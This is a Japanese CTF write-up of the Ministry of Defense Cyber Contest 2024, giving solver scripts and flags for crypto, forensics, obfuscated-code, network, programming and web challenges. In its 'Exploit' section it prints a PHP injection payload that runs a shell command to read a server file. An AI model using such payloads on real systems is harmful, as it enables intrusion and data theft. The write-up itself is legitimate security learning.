防衛省 サイバーコンテスト 2024 wirteup

2024/02/25にあった、防衛省 サイバーコンテスト 2024のwriteupです！

[岐阜大学CTF＆競プロ＆日曜工作やらハッカソンやらのためのサークル]に所属してますので、ご興味ある岐大生の方は是非！(宣伝)(https://twitter.com/ProgCirGifuUni)
![スクリーンショット 2024-02-25 211157.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/2c3ca5bb-c671-5424-f97d-36f19066b499.png)

![スクリーンショット 2024-02-25 212813.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/4670f194-7475-9f90-2d52-a4cf81720806.png)


以下writeup

## Crypto
### Information of Certificate
問題文そのまま、発行者のCNの
QRK7rNJ3hShV.vlc-cybercontest.invalid
がflag

![Information of Certificate.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/7b43c195-6bde-9080-9e6d-10f748ab9b18.png)

### Missing IV
データを出力した先にzip化する2段構え！

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os

# 暗号鍵（16進数文字列からバイト列へ変換）
key = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")

# IVが不明なので、ダミーのIV（全てゼロ）を使用
iv = b"\x00" * 16

# 暗号化されたデータを読み込む
with open("C:\\Users\\sadan\\Downloads\\NoIV.bin", "rb") as f:
    encrypted_data = f.read()

# Cipherオブジェクトの作成
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

# 復号器の作成
decryptor = cipher.decryptor()

# データの復号
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

# 復号されたデータをZIPファイルとして保存
with open("decrypted.zip", "wb") as f:
    f.write(decrypted_data)

```


## Forensics
### NTFS Data Hide
autospyで解析する。
NTFSDataHideディレクトリのSample.pptx:scriptファイルに怪しげな文がありbase64で変換するとflagが得られる。

![NTFS Data Hide.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/77039763-b69a-b13b-fd76-7bd1e9fb6558.png)

### NTFS File Delete
autospyで解析する。
削除されたファイルシステム欄からflag.txtを見つけることが出来た。

![NTFS File Delete.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/e6af2482-491d-3757-4050-3101525b21bd.png)


### NTFS File Rename
autospyで解析する。
ファイル名の変更履歴をイベントのタイムラインからLogfileのテキストデータを追うと探しているdocxファイル名が見つかった。

![NTFS File Rename.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/0a3d8786-feb2-0eb9-24f0-f8d38d1b19e7.png)



### My Secret
無理やり全て文字起こしして、vscodeで開いてflagの大小とサイズの一致している部分を探していたら見つかった。
flagはflag{you_cannot_find_this_secret!}

```
strings -n 5 "C:\Users\sadan\Downloads\memdump\memdump.raw" > "C:\Users\sadan\Downloads\memdump\strings.txt"
```

![My Secret.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/76753e8e-632a-668d-14bf-b25e0314d402.png)



## Miscellaneous
### Une Maison

![maison.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/fa7ec989-c834-d2ee-0a7c-f108e62e2bb1.jpeg)


![Une Maison2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/52aaf15a-eca3-218e-055d-648416ae2664.png)

![Une Maison.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/c8119edc-4fd1-9749-5405-eae9a75102c4.png)


写真をよく見ると、中心の方にバーコードのようなものが見える。
そこだけ切り取りWebバーコードリーダーで文字起こしするとflagが得られる。

### String Obfuscation
問題
```
import sys

if len(sys.argv) < 2:
    exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
    print("flag{%s}" % FLAG)

```

よって以下のようにpythonのコードを書くと
```
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

print(FLAG)

```
3FxYFm4uTYDFFzmb3がflagと分かった。

### Where Is the Legit Flag?

```
#
TTT=chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52)
print(TTT)

# 16進数のリストを定義
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]

WATANABE=[WA^ 0b01010011 for WA in reversed(TAKAHASHI)]



# リストの各要素を文字に変換し、それらを連結して文字列を形成する関数
def decode_hex_to_string(hex_list):
    return ''.join(chr(x) for x in hex_list)

# 変換関数を使用して16進数のリストを文字列に変換
decoded_string = decode_hex_to_string(WATANABE)

# 結果の文字列を出力
print(decoded_string)

```

```
import zlib, base64
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
zlib.decompress(base64.b64decode(TANAKA))
```

```
# Than volleyball vanish against lumpy berry.
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'

# Above face explain for physical decision. 
# Via snake name round terrific brass. 
# Following suggestion sound regarding female recess. 
# Toward vessel disagree beneath huge porter.
SUZUKI = [
    74-0+0,
    87*1, int(48**1),
    # Off purpose land as rural statement.
    int(83), int(32.00000), int('34'),
    76 & 0xFF, 72 | 0x00, 79 ^ 0x00, [65][0],
    # During knot rely save wretched scarecrow. 
    (2), 47 if True else 0, int(12/1), 10 % 11, ord(chr(26)),
    30+5, int(48/2*2), 9*9
]

# Plus toe settle with vast insect. 
# Save hands shelter with ratty produce.
# Outside legs nest versus tranquil relation.
# As walk pat round rightful advice. 
# Beside payment train by large key.
# Past behavior post toward unable home. 
# Among place complain considering unknown current.
# Around spark scorch above spotty grape. 
# Underneath jewel chop past dependent rifle.
# Since cobweb tie off hurt string.
# Through queen dam of slippery comparison.
# By wall stroke without secret wash.
# Opposite yoke need beside superb lumber. 
result = ''.join([SATO[i] for i in SUZUKI])

print("flog{8vje9wunbp984}")


print(result)
```

で
flog{8vje9wunbp984}
flag{PHmN2ILK6vsa}
でflagが得られた。

## Network
### Discovery


![Discovery5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/3a6b4d48-5168-e24b-06aa-a31be09bb54a.png)



![Discovery4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/15be202a-eafc-0651-355a-41729f054be6.png)


![Discovery3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/f5d0bce8-d786-22a1-d715-7c21e50b9ce5.png)


![Discovery2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/602719b6-d6dc-adda-1a7c-1ab4206fef96.png)

最後にヘッダーのHelp->infoからバージョンが確認できた


![Discovery.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/a836e8e0-5002-ad4e-e62b-69177f866c61.png)

### Exploit

ファイルタイプをphpに変更したうえでdescriptionの所に以下を埋め込むとflagをゲットできる

```
"></head><body><?php echo system("cat /var/www/flag.txt");?></body><meta name="
で
flag{G3t_R3v3rs3_Sh3ll} flag{G3t_R3v3rs3_Sh3ll}
```

![Exploit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/0e6370f0-2c01-dcd7-a4c2-7e496765c7be.png)


![Exploit2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/0a255319-3b62-dc8b-e148-222642f1b63b.png)





### FileExtract

TCPストリームでパスワードやzipファイルを取得していることがわかる。
なので、まずはzipファイルを入手する。
以下のようにするとflagが得られた。

![FileExtract2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/24c9d29e-1b6c-5ff0-5833-c7a1a6b08f3a.png)


![FileExtract.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/c75d410c-a1c7-3220-a91e-55caa00f8bc2.png)

![FileExtract3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/c393caa1-4179-98e4-9e65-10063dd85b48.png)


## Programming
### Logistic Map
```
tmp=0.3
for i in range(10000-1):
    tmp=3.99*tmp*(1-tmp)
print(tmp)    
```
で0.8112735079776592
よってflag{0.8112735}

### XML Confectioner

最大値更新するクッキーの条件と、途中ではじくクッキーの条件が微妙に違うのに注意！

```
import xml.etree.ElementTree as ET

# ファイルパス
file_path = "C:\\Users\\sadan\\Downloads\\sweets\\sweets.xml"

# ファイルからXMLデータを読み込む
tree = ET.parse(file_path)
root = tree.getroot()

# 最も大きなradiusを持つcookieの内容を格納する変数
largest_radius = 0.0
flag_content = None

# 条件を満たすbatchを探す
for batch in root.findall('.//sweets:batch', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'}):
    icecreams = batch.findall('.//sweets:icecream', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})
    candies = batch.findall('.//sweets:candy', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})
    cookies = batch.findall('.//sweets:cookie', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})

    # 条件1: 少なくとも二つのicecreamが含まれる
    if len(icecreams) < 2 or any(float(icecream.get('{http://xml.vlc-cybercontest.com/icecream}amount')[:-1]) < 105 for icecream in icecreams):
        continue

    # 条件2: candiesのweight合計が28.0g以上
    total_weight = sum(float(candy.get('{http://xml.vlc-cybercontest.com/candy}weight')[:-1]) for candy in candies)
    if total_weight < 28.0:
        continue

    # 条件3: candiesのshapeが5種類以上
    shapes = {candy.get('{http://xml.vlc-cybercontest.com/candy}shape') for candy in candies}
    if len(shapes) < 5:
        continue

    # 条件4: cookie:kindがicingであり、かつcookie:radiusが3.0cm以上のcookieが少なくとも一つ含まれる
    icing_cookies = [cookie for cookie in cookies if cookie.get('{http://xml.vlc-cybercontest.com/cookie}kind') == 'icing' and float(cookie.get('{http://xml.vlc-cybercontest.com/cookie}radius')[:-2]) >= 3.0]
    if not icing_cookies:
        continue

    # 最も大きなradiusを持つcookieの内容を更新（ここではkindに関わらず全てのcookieを対象にする）
    for cookie in cookies:
        radius = float(cookie.get('{http://xml.vlc-cybercontest.com/cookie}radius')[:-2])
        if radius > largest_radius:
            largest_radius = radius
            flag_content = cookie.text

# 条件を満たす最大のradiusを持つcookieの内容を出力
if flag_content:
    print(flag_content)
else:
    print("条件を満たすcookieが見つかりませんでした。")

```
![XML Confectioner.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/bc3aa72c-9b0a-585a-b854-c324210998fd.png)


### Twisted Text
書く！
解けたのにflagの文字列読み取るのが難しい...

```


from PIL import Image
import math

# 画像を読み込む
img = Image.open("C:\\Users\\sadan\\Downloads\\Twisted.png")
width, height = img.size

# 出力画像を作成
output_img = Image.new("RGB", (width, height))

# 画像の中心
cx, cy = width / 2, height / 2

# 各ピクセルに対して逆変換を施す
for x in range(width):
    for y in range(height):
        # 中心からの距離rを計算
        dx = x - cx
        dy = y - cy
        r = math.sqrt(dx**2 + dy**2)

        # 回転角を計算
        theta = -(r ** 2) / (250 ** 2)

        # 元の座標を計算
        orig_x = math.cos(theta) * dx + math.sin(theta) * dy + cx
        orig_y = -math.sin(theta) * dx + math.cos(theta) * dy + cy

        # 元の座標が画像内にある場合は、その色を出力画像にコピー
        if 0 <= orig_x < width and 0 <= orig_y < height:
            output_img.putpixel((x, y), img.getpixel((int(orig_x), int(orig_y))))

# 出力画像を保存または表示
output_img.save("Restored.png")
output_img.show()


```
![Restored.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/a95eb731-37d2-6975-8fa0-d01f7c5de6b7.png)



## Trivia
### The Original Name of AES

Rijndaelらしい。さすがGPT先生...！

![The Original Name of AES.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/a1e4d945-4a53-26a1-42ff-39ea8d96774c.png)

### CVE Record of Lowest Number

CVE-1999-0001が最古であるところまではGPT先生が教えてくれたので、あとはGoogle先生に聞きに行く

求めるファイル名は ip_input.c 

![CVE Record of Lowest Number2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/fa829139-258b-f4e6-83be-2a0292887ce8.png)


![CVE Record of Lowest Number.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/77f28b18-9cd2-d405-bbdc-6e270e85e11b.png)

### MFA Factors
GPT先生が大体教えてくれた。先生はアメリカ育ちなので資格系の問題だと英訳の時のちょっとの違いが苦手

所持・生体・知識

![MFA Factors.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/aae81685-ef7c-9ba5-88d8-e45ebe3046f2.png)

## Web
### Browsers Have Local Storage

Webサイトに飛ぶとNothing here, but...　と表示されるのと問題のタイトルからソースコードにありそうとあたりを付ける。
フラグはjavascriptのソースコードにあった。

![Browsers Have Local Storage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1899463/9ffd40eb-7ec1-fcb1-e49e-64d0b0552d81.png)


## 感想

・Miscellaneous問Serial Port SignalとProgramming問Randomness Extractionが情報理論系の問題に見えたから解き切りたかったな....
・Network問Exploitのサーバーが共用だったのか、解き終わるよりも先にネタバレ見てしまった...
・時間配分ミスったな、解ける問題あったのに！